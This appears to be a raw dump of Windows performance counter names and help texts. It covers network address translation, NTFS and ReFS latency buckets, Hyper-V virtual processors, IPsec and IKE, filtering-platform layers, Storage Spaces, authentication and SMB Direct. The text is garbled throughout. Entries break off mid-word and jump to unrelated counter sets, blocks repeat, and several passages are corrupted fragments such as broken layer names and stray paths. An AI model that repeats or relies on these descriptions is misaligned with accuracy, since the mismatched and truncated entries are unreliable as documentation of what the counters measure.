WinNat ICMP counter set measures network activity for network address translated ICMP packets. 6983 Total number of ICMP sessions. 6985 Total number of ICMP bindings. 6987 Total number of ICMP packets translated from internal to external. 6989 Total number of ICMP packets translated from external to internal. 6991 Total number of ICMP packets dropped due to absence of binding. 6993 Total number of ICMP sessions timed out due to in complete. 4439 Total time in nanoseconds for all operations that took < 512 s to complete. 4441 Total time in nanoseconds for all operations that took < 1 ms to complete. 4443 Total time in nanoseconds for all operations that took < 4 ms to complete. 4445 Total time in nanoseconds for all operations that took < 16 ms to complete. 4447 Total time in nanoseconds for all operations that took < 64 ms to complete. 4449 Total time in nanoseconds for all operations that took < 128 ms to complete. 4451 Total time in nanoseconds for all operations that took < 256 ms to complete. 4453 Total time in nanoseconds for all operations that took < 512 ms to complete. 4455 Total time in nanoseconds for all operations that took < 1 s to complete. 4457 Total time in nanoseconds for all operations that took < 2 s to complete. 4459 Total time in nanoseconds for all operations that took < 10 s to complete. 4461 Total time in nanoseconds for all operations that took < 20 s to complete. 4463 Total time in nanoseconds for all operations that took < 30 s to complete. 4465 Total time in nanoseconds for all operations that took >= 30s to complete. 4467 Bytes transfered by all operations that took < 128 s to complete. 4469 Bytes transfered by all operations that took < 256 s to complete. 4471 Bytes transfered by all operations that took < 512 s to complete. 4473 Bytes transfered by all operations that took < 1 ms to complete. 4475 Bytes transfered by all operations that took < 4 ms to complete. 4477 Bytes transfered by all operations that took < 16 ms to complete. 4479 Bytes transfered by all operations that took < 64 ms to complete. 4481 Bytes transfered by all operations that took < 128 ms to complete. 4483 Bytes transfered by all operations that took < 256 ms to complete. 4485 Bytes transfered by all operations that took < 512 ms to complete. 4487 Bytes transfered by all operations that took < 1 s to complete. 4489 Bytes transfered by all operations that took < 2 s to complete. 4491 Bytes transfered by all operations that took < 10 s tCTL count - IoctlExoGetVirtualProcessorState 13973 IOCTL time - IoctlExoGetVirtualProcessorState 13975 IOCTL count - IoctlExoSetVirtualProcessorState 13977 IOCTL time - IoctlExoSetVirtualProcessorState 13979 IOCTL count - IoctlExoVpCreate 13981 IOCTL time - IoctlExoVpCreate 13983 IOCTL count - IoctlExoVpDestroy 13985 IOCTL time - IoctlExoVpDestroy 13987 IOCTL count - IoctlExoVpMap 13989 IOCTL time - IoctlExoVpMap 13991 IOCTL count - IoctlExoInstallIntercept 13993 IOCTL time - IoctlExoInstallIntercept 13995 IOCTL count - IoctlExoRegisterInterceptResult 13997 IOCTL time - IoctlExoRegisterInterceptResult 13999 IOCTL count - IoctlExoPinGpaRanges 14001 IOCTL time - IoctlExoPinGpaRanges 14003 IOCTL count - IoctlExoUnpinGpaRanges 14005 IOCTL time - IoctlExoUnpinGpaRanges 14007 IOCTL count - IoctlExoBrokerSend 14009 IOCTL time - IoctlExoBrokerSend 14011 IOCTL count - IoctlExoBrokerReceive 14013 IOCTL time - IoctlExoBrokerReceive 1855 The NTFS bucketized performance object consists of counters that show operations performance split by latency buckets on NTFS volumes. 1857 Total number of operations completed since last collection. 1859 Total time in nanoseconds it took to complete operations since last collection. 1861 Total bytes transfered since last collection. 1863 Number of operations that took <= 128 s to complete. 1865 Number of operations that took <= 256 s to complete. 1867 Number of operations that took <= 512 s to complete. 1869 Number of operations that took <= 1 ms to complete. 1871 Number of operations that took <= 4 ms to complete. 1873 Number of operations that took <= 16 ms to complete. 1875 Number of operations that took <= 64 ms to complete. 1877 Number of operations that took <= 128 ms to complete. 1879 Number of rations that too Number of operatio NumbeL of operations that took <= 1 s t mplete. of operations th 1887 Number of opera NumbL of oper shut do were dest/ 12627 TCP tuples (co tion with SO_REUSE_UNICASTPORT) that were inserted t we ection a TCP se t/se TCP segm Interrupt hypercalls made by guest code on the virtual processor. 14393 The rate of Virtual Interrupt hypercalls made by guest code on the virtual processor. 14395 The rate of Virtual MMU hypercalls made by guest code on the virtual processor. 14397 The rate of Virtual Processor hypercalls made by guest code on the virtual processor. 14399 The rate of hardware interrupts from attached devices on the virtual processor. 14401 The rate of nested page fault exceptions intercepted by the hypervisor while executing the guest virtual processor. 14403 The average time (in nanoseconds) spent processing a nested page fault intercept. 14405 The rate of page scans 14407 The rate of dispatches of this virtual processor onto logical processors. 14409 The average time (in nanoseconds) spent waiting for a virtual processor to be dispatched onto a logical processor. 14411 The number of extended hypercalls made by guest code on the virtual processor. 14413 The rate of extended hypercall intercept messages to the parent partition. 14415 The rate of nested page table switches for mode based execution that the hypervisor initiated while executing the guest virtual processor. 14417 The rate of non-page fault exceptions delivered to the guest. 14419 The rate of flushes of I/O TLBs for all PASIDs made by the virtual processor. 14421 The average time (in nanoseconds) spent processing a global I/O TLB flush. 14423 The rate of flushes of I/O TLBs for one PASID made by the virtual processor. 14425 The average time (in nanoseconds) spent processing a local I/O TLB flush. 14427 The rate of hypercalls forwarded to the nested hypervisor on the virtual processor. 14429 The average time (in nanoseconds) spent forwarding a hypercall. 14431 The rate of INVLPG instructions forwarded to the nested hypervisor on the virtual processor. 14433 The average time (in nanoseconds) spent forwarding an INVLPG instruction. 14435 The rate of control register accesses forwarded to the nested hypervisor on the virtual processor. 14437 The average time (in nanosecogister writes by guest code on the virtual processor. 14345 The rate of other intercept messages sent to the parent partition. 14347 The rate of page table allocations in the virtual TLB. 14349 The rate of migrations by the virtual processor to a different logical processor. 14351 The rate of address space evictions in the virtual TLB. 14353 The rate of address space switches by guest code on the virtual processor. 14355 The rate of explicit flushes of the virtual TLB by guest code on the virtual processor. 14357 The rate of explicit flushes of one address space by guest code on the virtual processor. 14359 The rate of explicit flushes of a virtual address range in all address spaces by guest code on the virtual processor. 14361 The rate of explicit flushes of a virtual address range in one address space by guest code on the virtual processor. 14363 The rate of page table evictions in the virtual TLB. 14365 The rate of reclamations of unreferenced page tables in the virtual TLB. 14367 The rate of page table resets in the virtual TLB. 14369 The rate of page table validations to remove stale entries in the virtual TLB. 14371 The rate of APIC TPR accesses by guest code on the virtual processor. 14373 The rate of write intercepts on guest page tables by guest code on the virtual processor. 14375 The rate of synthetic interrupts delivered to the virtual processor. 14377 The rate of interrupts (including synthetic interrupts) delivered to the virtual processor. 14379 The rate of APIC inter-processor interrupts (including to self) sent by the virtual processor. 14381 The rate of APIC interrupts sent by the virtual processor to itself. 14383 The rate of Guest Physical Address Space hypercalls made by guest code on the virtual processor. 14385 The rate of Logical Processor hypercalls made by guest code on the virtual processor. 14387 The rate of Long Spin Wait hypercalls made by guest code on the virtual processor. 14389 The rate of other hypercalls made by guest code on the virtual processor. 14391 The rate of Synthetic Transport Mode per Second is the rate of bytes received using transport mode. 11447 Bytes Sent in Transport Mode per Second is the rate of bytes sent using transport mode. 11449 Offloaded Security Associations is the number of active quick mode security associations offloaded to hardware. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11451 Offloaded Bytes Received per Second is the rate of bytes received using IPsec hardware offload. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11453 Offloaded Bytes Sent per Second is the rate of bytes sent using IPsec hardware offload. Certain network adapters can accelerate IPsec processing by performing hardware offload of IPsec cryptographic functions. 11455 Packets That Failed Replay Detection is the number of packets that contained an invalid sequence number since the computer was last started. Increases in this counter might indicate a network problem or replay attack. 11457 Packets That Failed Replay Detection per Second is the rate of packets that contained an invalid sequence number since the computer was last started. Increases in this counter might indicate a network problem or replay attack. 11459 Packets Not Authenticated is the number of packets for which data could not be verified (for which the integrity hash verification failed) since the computer was last started. Increases in this counter might indicate an IPsec packet spoofing or modification attack, or packet corruption by network devices. 11461 Packets Not Authenticated per Second is the rate of packets for which data could not be verified (for which the integrity hash verification failed) since the computer was last started. Increases in this counter might indicate an IPsec packet spoofing or modification attack, or packet corruption by network devices. 11463 Packets Not Decrypted is the number of packets that could not be decrypted since the computer was SS_VSWITCH_TRANSPORT_V4 11961 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 11963 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 11965 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 11967 FWPM_LAYER_INBOUND_TRANSPORT_FAST 11969 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 11971 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 11973 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 11975 FWPM_LAYER_INBOUND_RESERVED2 11977 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 11979 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 11981 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 11983 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 11985 FWPM_LAYER_IPSEC_KM_DEMUX_V4 11987 FWPM_LAYER_IPSEC_KM_DEMUX_V6 11989 FWPM_LAYER_IPSEC_V4 11991 FWPM_LAYER_IPSEC_V6 11993 FWPM_LAYER_IKEEXT_V4 11995 FWPM_LAYER_IKEEXT_V6 11997 FWPM_LAYER_RPC_UM 11999 FWPM_LAYER_RPC_EPMAP 12001 FWPM_LAYER_RPC_EP_ADD 12003 FWPM_LAYER_RPC_PROXY_CONN 12005 FWPM_LAYER_RPC_PROXY_IF 12007 FWPM_LAYER_KM_AUTHORIZATION 12009 Sum total of all classify layers 11431 IPsec Driver is the set of Internet Protocol security (IPsec) driver counters that apply to traffic over Internet Protocol version 4 and Internet Protocol version 6. 11433 Active Security Associations is the number of active quick mode security associations. 11435 Pending Security Associations is the number of pending quick mode security associations. 11437 Incorrect SPI packets is the number of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11439 Incorrect SPI packets per Second is the rate of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11441 Bytes Received in Tunnel Mode per Second is the rate of bytes received using tunnel mode. 11443 Bytes Sent in Tunnel Mode per Second is the rate of bytes sent using tunnel mode. 11445 Bytes Received in FWPM_LAYER_DATAGRAM_DATA_V6 11865 FWPM_LAYER_DATAGRAM_DATA_V6_DISCARD 11867 FWPM_LAYER_INBOUND_ICMP_ERROR_V4 11869 FWPM_LAYER_INBOUND_ICMP_ERROR_V4_DISCARD 11871 FWPM_LAYER_INBOUND_ICMP_ERROR_V6 11873 FWPM_LAYER_INBOUND_ICMP_ERROR_V6_DISCARD 11875 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4 11877 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4_DISCARD 11879 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6 11881 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6_DISCARD 11883 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 11885 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4_DISCARD 11887 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 11889 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD 11891 FWPM_LAYER_ALE_AUTH_LISTEN_V4 11893 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD 11895 FWPM_LAYER_ALE_AUTH_LISTEN_ 1897 FWPM_LAYER_ 1899 FWPM_LAYER_ALE_ _AUTH_L CV_ACCEPT_V4_DISCARD 11903 FWPM_ R_ALE_AUTH/ ECV_ACCEPT_V6 11905 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 11907 FWPM_LAYER_ALE_AUTH _ALE TH_C ER_A E_NA 1933 FWPM_LAYER_NAME OLUTION_ _LAYER_Av IREC R_AL ++S+ etio\iph \service e interval. 2517 Displays the number of failed requests (because of activity host process crash) that are pending execution and waiting in the Activity Host Manager's queue. This counter displays the last observed value. 2519 Displays the number of requests that are arrived in the Activity Host Manager queue. This counter is not an average over time; it displays the difference between the values observed in the last two samples divided by the duration of the sample interval. 2521 Displays the number of requests that are pending execution and waiting in the Activity Host Manager's queue. This counter displays the last observed value. 2523 Displays the number of activity host processes that have been created since the start of PowerShell Workflow engine. This counter displays the last observed value. 2525 Displays the number of activity host processes that have been disposed since the start of PowerShell Workflow engine. This counter displays the last observed value. 2527 Displays the size of the activity host processes pool. This counter displays the last observed value. 2529 Displays the number of requests that are pending execution and waiting in the PowerShell Remoting queue. This counter displays the last observed value. 2531 Displays the number of requests that are being serviced. This counter is not an average over time; it displays the difference between the values observed in the last two samples divided by the duration of the sample interval. Average microseconds per transfer. 5047 Number of transfer bytes per second. 5049 Average number of bytes per transfer. 5051 Number of transfers. 5053 Number of successful transfers per second that are <= 4K in length. 5055 Number of successful transfers per second that are <= 8K in length. 5057 Number of successful transfers per second that are <= 16K in length. 5059 Number of successful transfers per second that are <= 32K in length. 5061 Number of successful transfers per second that are <= 64K in length. 5063 Number of successful transfers per second that are <= 128K in length. 5065 Number of successful transfers per second that are <= 256K in length. 5067 Number of successful transfers per second that are <= 1M in length. 5069 Number of successful transfers per second that are > 1M in length. 4729 This counter set consists of Read statistics for a Storport Logical Unit. 4731 Number of reads per second that took <= 128us to complete. 4733 Average microseconds per read that took <= 128us to complete. 4735 Number of reads that took <= 128us to complete. 4737 Number of reads per second that took <= 256us to complete. 4739 Average microseconds per read that took <= 256us to complete. 4741 Number of reads that took <= 256us to complete. 4743 Number of reads per second that took <= 512us to complete. 4745 Average microseconds per read that took <= 512us to complete. 4747 Number of reads that took <= 512us to complete. 4749 Number of reads per second that took <= 1ms to complete. 4751 Average microseconds per read that took <= 1ms to complete. 4753 Number of reads that took <= 1ms to complete. 4755 Number of reads per second that took <= 4ms to complete. 4757 Average microseconds per read that took <= 4ms to complete. 4759 Number of reads that took <= 4ms to complete. 4761 Number of reads per second that took <= 16ms to complete. 4763 Average microseconds per read that took <= 16ms to complete. 4765 Number of reads that took <= 16ms to complete. 4767 Number of reads per second that took <= 64ms to complete. 4769 Avansfer that took <= 1ms to complete. 4981 Number of transfers that took <= 1ms to complete. 4983 Number of transfers per second that took <= 4ms to complete. 4985 Average microseconds per transfer that took <= 4ms to complete. 4987 Number of transfers that took <= 4ms to complete. 4989 Number of transfers per second that took <= 16ms to complete. 4991 Average microseconds per transfer that took <= 16ms to complete. 4993 Number of transfers that took <= 16ms to complete. 4995 Number of transfers per second that took <= 64ms to complete. 4997 Average microseconds per transfer that took <= 64ms to complete. 4999 Number of transfers that took <= 64ms to complete. 5001 Number of transfers per second that took <= 128ms to complete. 5003 Average microseconds per transfer that took <= 128ms to complete. 5005 Number of transfers that took <= 128ms to complete. 5007 Number of transfers per second that took <= 256ms to complete. 5009 Average microseconds per transfer that took <= 256ms to complete. 5011 Number of transfers that took <= 256ms to complete. 5013 Number of transfers per second that took <= 512ms to complete. 5015 Average microseconds per transfer that took <= 512ms to complete. 5017 Number of transfers that took <= 512ms to complete. 5019 Number of transfers per second that took <= 1s to complete. 5021 Average microseconds per transfer that took <= 1s to complete. 5023 Number of transfers that took <= 1s to complete. 5025 Number of transfers per second that took <= 2s to complete. 5027 Average microseconds per transfer that took <= 2s to complete. 5029 Number of transfers that took <= 2s to complete. 5031 Number of transfers per second that took <= 10s to complete. 5033 Average microseconds per transfer that took <= 10s to complete. 5035 Number of transfers that took <= 10s to complete. 5037 Number of transfers per second that took > 10s to complete. 5039 Average microseconds per transfer that took > 10s to complete. 5041 Number of transfers that took > 10s to complete. 5043 Number of transfers per second. 5045NT AUTHORITY\SYSTEM 08 : <= 128ms 4890 Writes Bucket 08 : <= 128ms 4892 Writes/sec Bucket 09 : <= 256ms 4894 Write Latency Bucket 09 : <= 256ms 4896 Writes Bucket 09 : <= 256ms 4898 Writes/sec Bucket 10 : <= 512ms 4900 Write Latency Bucket 10 : <= 512ms 4902 Writes Bucket 10 : <= 512ms 4904 Writes/sec Bucket 11 : <= 1s 4906 Write Latency Bucket 11 : <= 1s 4908 Writes Bucket 11 : <= 1s 4910 Writes/sec Bucket 12 : <= 2s 4912 Write Latency Bucket 12 : <= 2s 4914 Writes Bucket 12 : <= 2s 4916 Writes/sec Bucket 13 : <= 10s 4918 Write Latency Bucket 13 : <= 10s 4920 Writes Bucket 13 : <= 10s 4922 Writes/sec Bucket 14 : > 10s 4924 Write Latency Bucket 14 : > 10s 4926 Writes Bucket 14 : > 10s 4928 Writes/sec 4930 Write Latency 4932 Write Bytes/sec 4934 Write Bytes Average 4936 Writes 4938 Successful Writes/sec Bucket 01 : <= 4K 4940 Successful Writes/sec Bucket 02 : <= 8K 4942 Successful Writes/sec Bucket 03 : <= 16K 4944 Successful Writes/sec Bucket 04 : <= 32K 4946 Successful Writes/sec Bucket 05 : <= 64K 4948 Successful Writes/sec Bucket 06 : <= 128K 4950 Successful Writes/sec Bucket 07 : <= 256K 4952 Successful Writes/sec Bucket 08 : <= 1M 4954 Successful Writes/sec Bucket 09 : > 1M 2958 ServiceModelService 4.0.0.0 2960 Calls 2962 Calls Per Second 2964 Calls Outstanding 2966 Calls Failed 2968 Calls Failed Per Second 2970 Calls Faulted 2972 Calls Faulted Per Second 2974 Calls Duration 2976 Security Validation and Authentication Failures 2978 Security Validation and Authentication Failures Per Second 2980 Security Calls Not Authorized 2982 Security Calls Not Authorized Per Second 2984 Instances 2986 Instances Created Per Second 2988 Reliable Messaging Sessions Faulted 2990 Reliable Messaging Sessions Faulted Per Second 2992 Reliable Messaging Messages Dropped 2994 Reliable Messaging Messages Dropped Per Second 2996 Transactions Flowed 2998 Transactions Flowed Per Second 3000 Transacted Operations Committed 3002 Transacted Operations Committed Per Second 3004 Transacted Operations Aborted 3006 Transacted Operations Aborted Per Second 3008be tracked as dirty. 2137 The ReFS bucketized performance object consists of counters that show operations performance split by latency buckets on ReFS volumes. 2139 Total number of operations completed since last collection. 2141 Total time in nanoseconds it took to complete operations since last collection. 2143 Total bytes transfered since last collection. 2145 Number of operations that took <= 128 s to complete. 2147 Number of operations that took <= 256 s to complete. 2149 Number of operations that took <= 512 s to complete. 2151 Number of operations that took <= 1 ms to complete. 2153 Number of operations that took <= 4 ms to complete. 2155 Number of operations that took <= 16 ms to complete. 2157 Number of operations that took <= 64 ms to complete. 2159 Number of operations that took <= 128 ms to complete. 2161 Number of operations that took <= 256 ms to complete. 2163 Number of operations that took <= 512 ms to complete. 2165 Number of operations that took <= 1 s to complete. 2167 Number of operations that took <= 2 s to complete. 2169 Number of operations that took <= 10 s to complete. 2171 Number of operations that took <= 20 s to complete. 2173 Number of operations that took <= 30 s to complete. 2175 Number of operations that took > 30s to complete. 2177 Total time in nanoseconds for all operations that took <= 128 s to complete. 2179 Total time in nanoseconds for all operations that took <= 256 s to complete. 2181 Total time in nanoseconds for all operations that took <= 512 s to complete. 2183 Total time in nanoseconds for all operations that took <= 1 ms to complete. 2185 Total time in nanoseconds for all operations that took <= 4 ms to complete. 2187 Total time in nanoseconds for all operations that took <= 16 ms to complete. 2189 Total time in nanoseconds for all operations that took <= 64 ms to complete. 2191 Total time in nanoseconds for all operations that took <= 128 ms to complete. 2193 Total time in nanoseconds for all operations that took <= 256 ms to complete. 2195 Total time in nanohe number of destage write failures. 6769 The Storage Spaces Tier performance object consists of counters that show information about Storage Spaces tiers. 6771 The number of reads from the tier per second. 6773 The average number of seconds per read from the tier. 6775 The average number of concurrent reads from the tier. 6777 The number of bytes read from the tier per second. 6779 The average number of bytes per read from the tier. 6781 The number of writes to the tier per second. 6783 The average number of seconds per write to the tier. 6785 The average number of concurrent writes to the tier. 6787 The number of bytes written to the tier per second. 6789 The average number of bytes per write to the tier. 6791 The number of concurrent transfers from/to the tier. 6793 The number of transfers from/to the tier per second. 6795 The average number of seconds per transfer from/to the tier. 6797 The average number of concurrent transfers from/to the tier. 6799 The number of bytes transferred from/to the tier per second. 6801 The average number of bytes per transfer from/to the tier. 6803 The number of reads from the tier. 6805 The number of writes to the tier. 6807 The number of transfers from/to the tier. 6891 The Storage Spaces Drt performance object consists of counters that show information about Storage Spaces dirty region tracking. 6893 The number of slabs of the virtual disk that are clean. 6895 The number of bytes of the virtual disk that are clean. 6897 The number of slabs of the virtual disk that are dirty. 6899 The number of bytes of the virtual disk that are dirty. 6901 The number of slabs of the virtual disk that are flushing. 6903 The number of bytes of the virtual disk that are flushing. 6905 The number of slabs in of the virtual disk that are flushed. 6907 The number of bytes in of the virtual disk that are flushed. 6909 The number of slabs of the virtual disk that need synchronization. 6911 The number of bytes of the virtual disk that need synchronization. 6913 The maximum number of entries that will ond. 6931 The number of bytes written to the space per second. 6809 The Storage Spaces Write Cache performance object consists of counters that show information about Storage Spaces write caches. 6811 The total number of checkpoint operations. 6813 The number of concurrent destage operations. 6815 The number of log advance operations. 6817 The amount of data in bytes residing in the cache. 6819 The percentage of data in bytes residing in the cache. 6821 The amount of reclaimable space in bytes in the cache. 6823 The percentage of reclaimable space in bytes in the cache. 6825 The amount of used space in bytes in the cache. 6827 The percentage of used space in bytes in the cache. 6829 The size in bytes of the cache. 6831 The number of bytes evicted from the cache per second. 6833 The number of destaged bytes evicted from the cache per second. 6835 The percentage of destage bytes evicted from the cache. 6837 The number of overwritten bytes evicted from the cache per second. 6839 The percentage of overwritten bytes evicted from the cache. 6841 The number of bytes read bypassing the cache per second. 6843 The percentage of bytes read bypassing the cache. 6845 The number of bytes read from the cache per second. 6847 The percentage of bytes read from the cache. 6849 The number of bytes written bypassing the cache per second. 6851 The percentage of bytes written bypassing the cache. 6853 The number of bytes written to the cache per second. 6855 The percentage of bytes written to the cache. 6857 The number of unaligned bytes written to the cache per second. 6859 The percentage of unaligned bytes written to the cache. 6861 The number of untrimmed bytes written to the cache per second. 6863 The percentage of untrimmed bytes written to the cache. 6865 The number of overlapping bytes written to the cache per second. 6867 The percentage of overlapping bytes written to the cache. 6869 The average number of ms per cache checkpoint. 6871 The average number of ms per vdt checkpoint. 6873 The number of destage read failures. 6875 Directory Change Queue Length 11280 Scanning State 11282 Dirty Directory Hit Count 11284 Timestamp Directory Hit Count 11286 AFTS Execution Time (ms) 11288 URL Classification Time (ms) 11290 Property Extraction Time (ms) 11292 Art Extraction Time (ms) 11294 Reorganize Time (ms) 11296 Commit Time (ms) 11298 Normalization Time (ms) 2540 RemoteFX Graphics 2542 Input Frames/Second 2544 Graphics Compression ratio 2546 Output Frames/Second 2548 Frames Skipped/Second - Insufficient Client Resources 2550 Frames Skipped/Second - Insufficient Network Resources 2552 Frames Skipped/Second - Insufficient Server Resources 2554 Frame Quality 2556 Average Encoding Time 2558 Source Frames/Second 2560 RemoteFX Network 2562 Base TCP RTT 2564 Current TCP RTT 2566 Current TCP Bandwidth 2568 Total Received Rate 2570 TCP Received Rate 2572 UDP Received Rate 2574 UDP Packets R _VSWITCH_TRANSPORT_V6 11963 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 11965 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 11967 FWPM_LAYER_INBOUND_TRANSPORT_FAST 11969 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 11971 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 11973 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 11975 FWPM_LAYER_INBOUND_RESERVED2 11977 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 11979 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 11981 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 11983 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 11985 FWPM_LAYER_IPSEC_KM_DEMUX_V4 11987 FWPM_LAYER_IPSEC_KM_DEMUX_V6 11989 FWPM_LAYER_IPSEC_V4 11991 FWPM_LAYER_IPSEC_V6 11993 FWPM_LAYER_IKEEXT_V4 11995 FWPM_LAYER_IKEEXT_V6 11997 FWPM_LAYER_RPC_UM 11999 FWPM_LAYER_RPC_EPMAP 12001 FWPM_LAYER_RPC_EP_ADD 12003 FWPM_LAYER_RPC_PROXY_CONN 12005 FWPM_LAYER_RPC_PROXY_IF 12007 FWPM_LAYER_KM_AUTHORIZATION 12009 Sum total of all classify layers 11431 IPsec Driver is the set of Internet Protocol security (IPsec) driver counters that apply to traffic over Internet Protocol version 4 and Internet Protocol version 6. 11433 Active Security Associations is the number of active quick mode security associations. 11435 Pending Security Associations is the number of pending quick mode security associations. 11437 Incorrect SPI packets is the number of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11439 Incorrect SPI packets per Second is the rate of packets for which the Security Parameter Index (SPI) was incorrect since the computer was last started. A large number of packets with bad SPIs within a short amount of time might indicate a packet spoofing attack. 11441 Bytes Received in Tunnel Mode per Second is the rate of bytes received using tunnel mode. 11443 Bytes Sent in Tunnel Mode per Second is the rate of bytes sent using tunnel mode. 11445 Bytes Received in Transport Mode per Second is the rate of bytes r ounter tracks the number of context handles in use by a given process. Context handles are associated with security contexts established between a client application and a remote peer. 6349 These counters track authentication performance on a per second basis. 6351 This counter tracks the number of NTLM authentications processed per second for the AD on this DC or for local accounts on this member server. 6353 This counter tracks the number of times that clients use a ticket to authenticate to this computer per second. 6355 This counter tracks the number of Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use AS requests to obtain a ticket-granting ticket. 6357 This counter tracks the number of ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use these TGS requests to obtain a service ticket, which allows a client to access resources on other computers. 6359 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performing a full SSL handshake. 6361 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache and that are currently in use. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performaing a full SSL handshake. 6363 This counter tracks the number of Secure Sockets Layer (SSL) full client-side handshakes that are being processed per second. During a handshake, signals are exchanged to acknowledge that communication can occur between computers or other devices. 6365 This counter tracks the numQuick Mode SAs is the number of currently active quick mode security associations. 11519 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11521 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11523 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11525 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11527 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11529 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11531 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11533 IPsec IKEv1 IPv6 is the set of Internet Protocol security (IPsec) Internet Key Exchange version 1 (IKEv1) counters that apply to traffic and connections over Internet Protocol version 6. 11535 Active Main Mode SAs is the number of currently active main mode security associations. 11537 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11539 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11541 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11543 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 11545 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11547 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11549 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11551 Main Mode Negotiation Requests Received is the number of main mode negotiations initiated by a peer since IPsec was last started. 11553 Main Mode Negotiation Requests Received per Second is the rate of mainwhich SMB Direct is RDMA writing bytes to a remote host. 11173 The number of bytes SMB Direct has registered as the source/sink for an RDMA read/write. 11175 The rate at which SMB Direct is receiving bytes. 11177 The rate at which SMB Direct is sending bytes. 11179 The rate at which SMB Direct is issuing fast registration requests. 11181 The number of 4 KiB pages that can be registered by all of the FRMRs that are allocated to SMB Direct connections. 11183 The number of FRMRs allocated to SMB Direct connections. 11185 The number of SMB Direct connection requests from other hosts to this host that have failed. 11187 The number of SMB Direct connection requests from other hosts to this host that have been refused. 11189 The number of SMB Direct connections from other hosts to this host. 11191 The maximum value of Inbound Connections since the SMB Direct subsystem started. 11193 The number of SMB Direct connection requests from other hosts to this host that are pending. 11195 The rate at which SMB Direct is issuing invalidation requests. 11197 The number of SMB Direct connection requests from this host to other hosts that have failed. 11199 The number of SMB Direct connections from this host to other hosts. 11201 The maximum value of Outbound Connections since the SMB Direct subsystem started. 11203 The number of SMB Direct protocol errors since the SMB Direct subsystem started. 11205 The rate at which SMB Direct receive completion queues (RCQs) are being notified that receive queue (RQ) requests have completed. 11207 The rate at which SMB Direct receive completion queues (RCQs) are being notified that receive queue (RQ) requests have completed. 11209 The rate at which SMB D t is issuing RDM uests./ is i ng RDMA write reques/ which SMB Direct is receiv /ly The FRMR Pages 11182 FRMRs 11184 Inbound Connection Failures 11186 Inbound Connection Refusals 11188 Inbound Connections 11190 Inbound Connections (Max) 11192 Inbound Connections (Pending) 11194 Invalidations/sec 11196 Outbound Connection Failures 11198 Outbound Connections 11200 Outbound Connections (Max) 11202 Protocol Errors 11204 RCQ Notifications/sec 11206 RCQ Notifications (Queued)/sec 11208 RDMA Reads/sec 11210 RDMA Writes/sec 11212 Receives/sec 11214 Receives (Control)/sec 11216 Remote Invalidations/sec 11218 SCQ Notifications/sec 11220 SCQ Notifications (Queued)/sec 11222 SQ Requests/sec 11224 SQ Requests/sec (unsignaled) 11226 Sends/sec 11228 Sends (Control)/sec 11230 Stalls (FRMR)/sec 11232 Stalls (RDMA Read)/sec 11234 Stalls (Send Credit)/sec 11236 Stalls (SQ)/sec 11238 Total Connections 11240 Total Connections (Max) 11242 Allocation Stalls (Connector) 11244 Allocation Stalls (PD) 11246 Allocation Stalls (CQ) 11248 